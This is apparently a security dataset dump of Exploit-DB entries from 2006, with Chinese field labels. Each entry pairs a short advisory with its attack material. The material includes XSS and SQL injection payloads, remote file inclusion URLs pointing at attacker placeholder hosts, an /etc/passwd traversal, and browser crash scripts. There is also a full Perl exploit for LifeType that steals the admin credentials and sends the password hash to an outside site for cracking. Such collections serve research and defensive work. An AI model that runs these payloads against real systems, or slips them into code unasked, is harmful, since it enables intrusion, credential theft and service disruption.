QLWD/code_shield huggingface dataset:
标题: Microsoft Excel 2000-2004 - Style Handling and Repair Remote Code Execution EDB-ID: 28189 CVE: 2006-3431 类型: REMOTE 平台: WINDOWS 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18872/info

Microsoft Excel is prone to a remote code-execution vulnerability.

Successfully exploiting this issue allows attackers to execute arbitrary code in the context of targeted users.

A proof-of-concept malicious code named 'Trojan.Hongmosa' is actively exploiting this vulnerability, which results in crashing Excel running on Simplified Chinese, Traditional Chinese, Japanese, or Korean Windows. 

Note that Microsoft Office applications include functionality to embed Office files as objects contained in other Office files. As an example, Microsoft Word files may contain embedded malicious Microsoft Excel files, making Word documents another possible attack vector.

This issue is distinct from the issue described in BID 18422 (Microsoft Excel Unspecified Remote Code Execution Vulnerability). Proof-of-concept 'Nanika.xls' was originally thought to be related to BID 18422; however, reports indicate that 'Nanika.xls' triggers this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28189.xls URL: https://www.exploit-db.com/exploits/28189
标题: ATutor 1.5.3 - Multiple Input Validation Vulnerabilities EDB-ID: 28192 CVE: 2006-3662 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18898/info

ATutor is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/documentation/index_list.php?lang="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&year="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&month="><script>alert(/EllipsisSecurityTest/)</script>
POST http://www.example.com:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: www.example.com
ml=1&day="><script>alert(/EllipsisSecurityTest/)</script>
http://www.example.com/forum/index.php?fid=-1[SQL] URL: https://www.exploit-db.com/exploits/28192
标题: Microsoft Internet Explorer 6 - Object.Microsoft.DXTFilter Denial of Service EDB-ID: 28197 CVE: 2006-3512 类型: DOS 平台: WINDOWS 发布日期: 2006-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18903/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject("Object.Microsoft.DXTFilter");
 a.Enabled = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28197
标题: RW::Download - 'stats.php' Remote File Inclusion EDB-ID: 28195 CVE: 2006-3517 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18901/info

RW::Download is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/path/stats.php?root_path=code] URL: https://www.exploit-db.com/exploits/28195
标题: Microsoft Internet Explorer 6 - RDS.DataControl Denial of Service EDB-ID: 28194 CVE: 2006-3510 类型: DOS 平台: WINDOWS 发布日期: 2006-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/18900/info

Microsoft Internet Explorer 6 is reportedly prone to a denial-of-service vulnerability because the application fails to perform boundary checks before copying user-supplied data into sensitive process buffers.

This issue is triggered when an attacker convinces a victim to activate a malicious ActiveX control object.

Remote attackers may exploit this issue to crash Internet Explorer 6, effectively denying service to legitimate users.

A stack-based heap overflow may be possible; as a result, remote code could run in the context of the user running the affected application. This has not been confirmed.

var a = new ActiveXObject(&#039;RDS.DataControl&#039;);
var b = "X";
while (b.length < (1024*256)) a.URL = (b+=b); URL: https://www.exploit-db.com/exploits/28194
标题: Extcalendar 2.0 - 'Extcalendar.php' Remote File Inclusion EDB-ID: 28190 CVE: 2006-3556 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18876/info

ExtCalendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.0 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/extcalendar.php?mosConfig_absolute_path=[attacker] URL: https://www.exploit-db.com/exploits/28190
标题: ATutor 1.5.x - '/documentation/admin/index.php' Cross-Site Scripting EDB-ID: 28177 CVE: 2006-3484 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18857/info
 
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/documentation/admin/?p=2.0.configuration.php">[code] URL: https://www.exploit-db.com/exploits/28177
标题: ATutor 1.5.x - 'create_course.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28176 CVE: 2006-3484 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18857/info

ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/admin/create_course.php?show_courses=[code]&current_cat=[code]
http://www.example.com/users/create_course.php?show_courses=[code] URL: https://www.exploit-db.com/exploits/28176
标题: ATutor 1.5.x - '/users/browse.php?cat' Cross-Site Scripting EDB-ID: 28179 CVE: 2006-3484 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18857/info
   
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/users/browse.php?cat=[code] URL: https://www.exploit-db.com/exploits/28179
标题: ATutor 1.5.x - 'password_reminder.php?forgot' Cross-Site Scripting EDB-ID: 28178 CVE: 2006-3484 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18857/info
  
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/password_reminder.php?forgot=Email+Reminder">[code] URL: https://www.exploit-db.com/exploits/28178
标题: ATutor 1.5.x - '/admin/fix_content.php?submit' Cross-Site Scripting EDB-ID: 28180 CVE: 2006-3484 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18857/info
    
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Versions 1.5.1 and 1.5.3 RC2 are vulnerable; other versions may also be affected.

http://www.example.com/admin/fix_content.php?submit=Submit">[code] URL: https://www.exploit-db.com/exploits/28180
标题: Gentoo-Specific MPG123 - URI Remote Buffer Overflow EDB-ID: 28160 CVE: 2006-3355 类型: DOS 平台: LINUX 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18794/info

The mpg123 application is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application.

This issue is specific to a patch applied to the Gentoo Linux version of mpg123.

The following commands are sufficient to demonstrate this issue by crashing affected applications:

( echo -ne "HTTP/1.1 302 Found\r\nLocation: "
echo -ne "http://fooooooooooooooooooooooooooooooooooooooooooooooooo/\r\n\r\n"
)| nc -lp 8080 &

mpg123 http://localhost:8080/ URL: https://www.exploit-db.com/exploits/28160
标题: LifeType 1.0.5 - 'index.php?Date' SQL Injection EDB-ID: 28166 CVE: 2006-3577 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18835/info

LifeType is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.5 is vulnerable to this issue; other versions may also be affected.

#!/usr/bin/perl -w
# LifeType 1.0.5 SQL injection exploit (extract admin username and MD5 password)
# Sun Jul  2 02:19:33 CEST 2006
#
# Bug was found by Alejandro Ramos <aramosf *@* unsec.net>.
# Script by Pedro Andujar <pandujar *@* selfdefense.es> and Alex.
#
# Shoutz: !dSR (www.digitalsec.net) and 514-77 (www.514.es) ppl.
#
# Example:
# lifesucks.pl www.rs-labs.com blog
# [~] LifeType 1.0.5 SQL injection exploit
# [~] Sending string to http://www.rs-labs.com/blog/
# [*] The username for admin account is: romansoft
# [*] The password MD5 of admin account is: 30df196559f6c591e936d7873119f5c9
# [*] The MD5 lookup for this hash is: roman123

use strict;
use LWP::Simple;

if (@ARGV != 2)
{
    print " LifeType 1.0.5 SQL injection exploit \n";
    print " Usage: $0 <host> <path> \n";
    exit 1;
}
my $host = $ARGV[0];
my $path = $ARGV[1];

print "[~] LifeType 1.0.5 SQL injection exploit \n";
print "[~] Sending string to http://$host/$path/ \n";
my $ans_user = get
"http://$host/$path/index.php?op=Default&Date=0'%20UNION%20SELECT%201,user,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE%20id='1'/*&blogId=0"
|| 0;
my $ans_hash = get
"http://$host/$path/index.php?op=Default&Date=0'%20UNION%20SELECT%201,password,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE%20id='1'/*&blogId=0";

if ($ans_user =~ m/Trackbacks&articleId=(\w*)/)
{
    print "[*] The username for admin account is: $1 \n";
}
if ($ans_hash =~ m/Trackbacks&articleId=(\w*)/)
{
    print "[*] The password MD5 for admin account is: $1 \n";
} else {
       die "[-] Exploit failed. \n";
}

my $ans_pass = get "http://www.digitalsec.es/md5.php?h=$1" || 0;

if ($ans_pass =~ m#<br /><b>(.*?)</b># )

{
       print "[*] The MD5 lookup for this hash is: $1 \n";
} else {
    die "[-] Error, Impossible to lookup the MD5 password. \n";
} URL: https://www.exploit-db.com/exploits/28166
标题: free QBoard 1.1 - 'features.php?qb_path' Remote File Inclusion EDB-ID: 28155 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
       
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
       
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
       
www.example.com/(path)/features.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28155
标题: Randshop 0.9.3/1.2 - 'index.php' Remote File Inclusion EDB-ID: 28162 CVE: 2006-3374 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/18809/info

Randshop is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/randshop/index.php?incl=http://attacker's site URL: https://www.exploit-db.com/exploits/28162
标题: Glossaire 1.7 - Remote File Inclusion EDB-ID: 28159 CVE: 2006-3363 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18792/info

Glossaire is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and gain access to the underlying system.

www.example.com/grossaire/index.php?pa=[evil_script] URL: https://www.exploit-db.com/exploits/28159
标题: free QBoard 1.1 - 'history.php?qb_path' Remote File Inclusion EDB-ID: 28156 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
        
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
        
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
        
www.example.com/(path)/history.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28156
标题: Apple Safari Web Browser 2.0.4 - DHTML SetAttributeNode() Null Dereference Denial of Service EDB-ID: 28165 CVE: 2006-3372 类型: DOS 平台: OSX 发布日期: 2006-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18822/info

Apple Safari web browser is prone to a denial-of-service vulnerability when parsing certain malformed DHTML elements.

An attacker can exploit this issue to crash an affected browser.

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
 var a = document.createElement("a");
 a.setAttributeNode();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script> URL: https://www.exploit-db.com/exploits/28165
标题: QTO File Manager 1.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28158 CVE: 2006-3405 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18791/info

QTO File Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://target.xx/qtofm.php?delete=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&u=[username]&pathext=1 http://target.xx/qtofm.php?delete=COPYING&u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script% 3E 
http://target.xx/qtofm.php?u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&edit=1 http://target.xx/qtofm.php?u=[username]&pathext=1&edit=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E --- POST http://target.xx:80/qtofm.php?u=[username]&pathext=1&edit=readme%2Etxt HTTP/1.0 
Accept: */* Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 117 u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&newcontent=1&save=Save&savefile=1 -------- http://target.xx/qtofm.php?edit=../../../../../../../../../../../../etc/passwd&u=[username]&pathext= http://target.xx/qtofm.php?edit=qtofm.php&u=[username]&pathext= URL: https://www.exploit-db.com/exploits/28158
标题: Microsoft Internet Explorer 5.0.1/6.0 - Structured Graphics Control Denial of Service EDB-ID: 28169 CVE: 2006-3427 类型: DOS 平台: WINDOWS 发布日期: 2006-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18855/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because it fails to handle ActiveX controls properly.

This issue is triggered when an attacker convinces a victim user to activate a malicious ActiveX control.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
        var a = new ActiveXObject(&#039;DirectAnimation.StructuredGraphicsControl&#039;);
        a.sourceURL = &#039;CrashingBecauseStreamPtrNotInitialized&#039;;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type=&#039;button&#039; onClick=&#039;Demo()&#039; value=&#039;Start Demo!&#039;>


</body></html> URL: https://www.exploit-db.com/exploits/28169
标题: Invision Power Board (IP.Board) 1.x/2.x - Multiple SQL Injections EDB-ID: 28167 CVE: 2006-3543 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/18836/info

Invision Power Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?act=ketqua&code=showcat&idcat=[SQL] 
http://www.example.com/index.php?act=Attach&type=post&id=[SQL] 
http://www.example.com/index.php?act=Profile&CODE=[SQL] 
http://www.example.com/index.php?act=ketqua&code=[SQL] 
http://www.example.com/coins_list.php?member_id=[SQL] 
http://www.example.com/index.php?act=Login&CODE=[SQL] 
http://www.example.com/index.php?act=Help&CODE=[SQL] 
http://www.example.com/index.php?act=ref&id=[SQL] URL: https://www.exploit-db.com/exploits/28167
标题: PHPWebGallery 1.x - 'comments.php' Cross-Site Scripting EDB-ID: 28161 CVE: 2006-3476 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/18798/info

PhpWebGallery is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery/comments.php?keyword=%22%3E[XSS]

http://www.example.com/phpwebgallery/comments.php?keyword=%22%3E%3Cscript%3Ealert('Hi+Master');%3C/script%3E URL: https://www.exploit-db.com/exploits/28161
标题: VirtuaStore 2.0 - 'Password' SQL Injection EDB-ID: 28157 CVE: 2006-3402 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18790/info

VirtuaStore is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following entered in the password field is sufficient to exploit this issue:

123456 / ' or 1=1 URL: https://www.exploit-db.com/exploits/28157
标题: free QBoard 1.1 - 'contact.php?qb_path' Remote File Inclusion EDB-ID: 28152 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
    
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
    
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
    
www.example.com/(path)/contact.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28152
标题: free QBoard 1.1 - 'faq.php?qb_path' Remote File Inclusion EDB-ID: 28154 CVE: 2006-3475 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18780/info
      
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
      
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
      
www.example.com/(path)/faq.php?qb_path=http://evilcode.txt? URL: https://www.exploit-db.com/exploits/28154